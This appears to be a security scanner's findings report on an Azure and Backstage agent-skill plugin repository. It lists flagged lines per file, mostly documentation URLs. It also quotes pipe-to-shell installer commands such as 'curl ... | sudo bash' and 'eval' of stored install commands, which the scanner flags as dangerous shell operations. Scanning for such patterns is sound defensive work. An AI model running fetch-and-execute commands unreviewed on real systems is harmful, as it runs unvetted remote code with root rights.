  • Dangerous shell operationline 76
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Dangerous shell operationline 77
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Dangerous shell operationline 78
    sudo apt update && sudo apt install terraform
  • Network accessline 80
    # kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Network accessline 81
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Dangerous shell operationline 82
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/SKILL.md

  • Network accessline 128
    - [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions)
  • Network accessline 129
    - [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/templates/mcp.json

  • Network accessline 3
    "microsoft-docs": {       "type": "http",       "url": "https://learn.microsoft.com/api/mcp",
  • Network accessline 4
    "type": "http",       "url": "https://learn.microsoft.com/api/mcp",       "tools": [
  • Network accessline 5
    "url": "https://learn.microsoft.com/api/mcp",

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-package-management/SKILL.md

  • Network accessline 35
    Uses [uv](https://github.com/astral-sh/uv) for dependency management and
  • Network accessline 36
    [poethepoet](https://github.com/nat-n/poethepoet) for task automation.
  • Network accessline 241
    - `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values:   `https://pypi.org/classifiers/`
  • Network accessline 243
    `https://pypi.org/classifiers/`

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/open-horizons-platform/skills/agent-skills/SKILL.md

  • Network accessline 112
    - Agent Skills standard: https://agentskills.io/
  • Network accessline 113
    - VS Code Agent Skills: https://code.visualstudio.com/docs/agent-customization/agent-skills

harness/claude-code/plugins/open-horizons-platform/skills/agents/SKILL.md

  • Network accessline 127
    - VS Code custom agents: https://code.visualstudio.com/docs/agent-customization/custom-agents
  • Network accessline 128
    - GitHub custom agent configuration: https://docs.github.com/en/copilot/reference/custom-agents-configuration

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/SKILL.md

  • Network accessline 70
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 71
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 72
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 73
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 74
    - [GitHub Models](https://docs.github.com/github-models)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-api-center/SKILL.md

  • Network accessline 129
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 130
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 131
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 132
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-apim-ai-gateway/SKILL.md

  • Network accessline 139
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 140
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 141
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 142
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/claude-code/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/claude-code/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/claude-code/plugins/open-horizons-platform/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/claude-code/plugins/open-horizons-platform/skills/azure-cost-optimize/SKILL.md

  • Network accessline 104
    - [Azure Cost Management documentation](https://learn.microsoft.com/azure/cost-management-billing/)
  • Network accessline 105
    - [Azure Advisor cost recommendations](https://learn.microsoft.com/azure/advisor/advisor-cost-recommendations)

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md

  • Network accessline 5
    Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md

  • Network accessline 133
    iconProvider="azure"         iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 134
    iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"         iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 135
    iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 136
    iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md

  • Network accessline 20
    | Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu
  • Network accessline 21
    | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra
  • Network accessline 22
    | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or 
  • Network accessline 23
    | Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co
  • Network accessline 24
    | Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact
  • Network accessline 25
    | Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen
  • Network accessline 26
    | Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac
  • Network accessline 27
    | Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb
  • Network accessline 28
    | General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t
  • Network accessline 29
    | GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s
  • Network accessline 30
    | GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us
  • Network accessline 31
    | GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/README.md

  • Network accessline 61
    python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg    "Azure Key Vault" 320 180    --provider azure    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/
  • Network accessline 62
    "Azure Key Vault" 320 180 \   --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 63
    --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \   --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 64
    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 65
    --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-icon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 91
    return base64.b64decode(

harness/claude-code/plugins/open-horizons-platform/skills/azure-entra-agent-user/SKILL.md

  • Network accessline 108
    - [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code/SKILL.md

  • Network accessline 113
    - [Azure Verified Modules Terraform index](https://azure.github.io/Azure-Verified-Modules/indexes/terraform/)
  • Network accessline 114
    - [Terraform import language](https://developer.hashicorp.com/terraform/language/import)

harness/claude-code/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/claude-code/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/claude-code/plugins/open-horizons-platform/skills/azure-observability-stack/SKILL.md

  • Network accessline 36
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 37
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 84
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 85
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 90
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 103
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 104
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 106
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 107
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 121
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 129
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 130
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/claude-code/plugins/open-horizons-platform/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/claude-code/plugins/open-horizons-platform/skills/azure-pricing/SKILL.md

  • Network accessline 40
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 43
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 112
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 113
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 114
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 115
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 201
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 202
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 203
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/claude-code/plugins/open-horizons-platform/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/claude-code/plugins/open-horizons-platform/skills/azure-role-selector/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration

harness/claude-code/plugins/open-horizons-platform/skills/azure-well-architected-review/SKILL.md

  • Network accessline 99
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)

harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
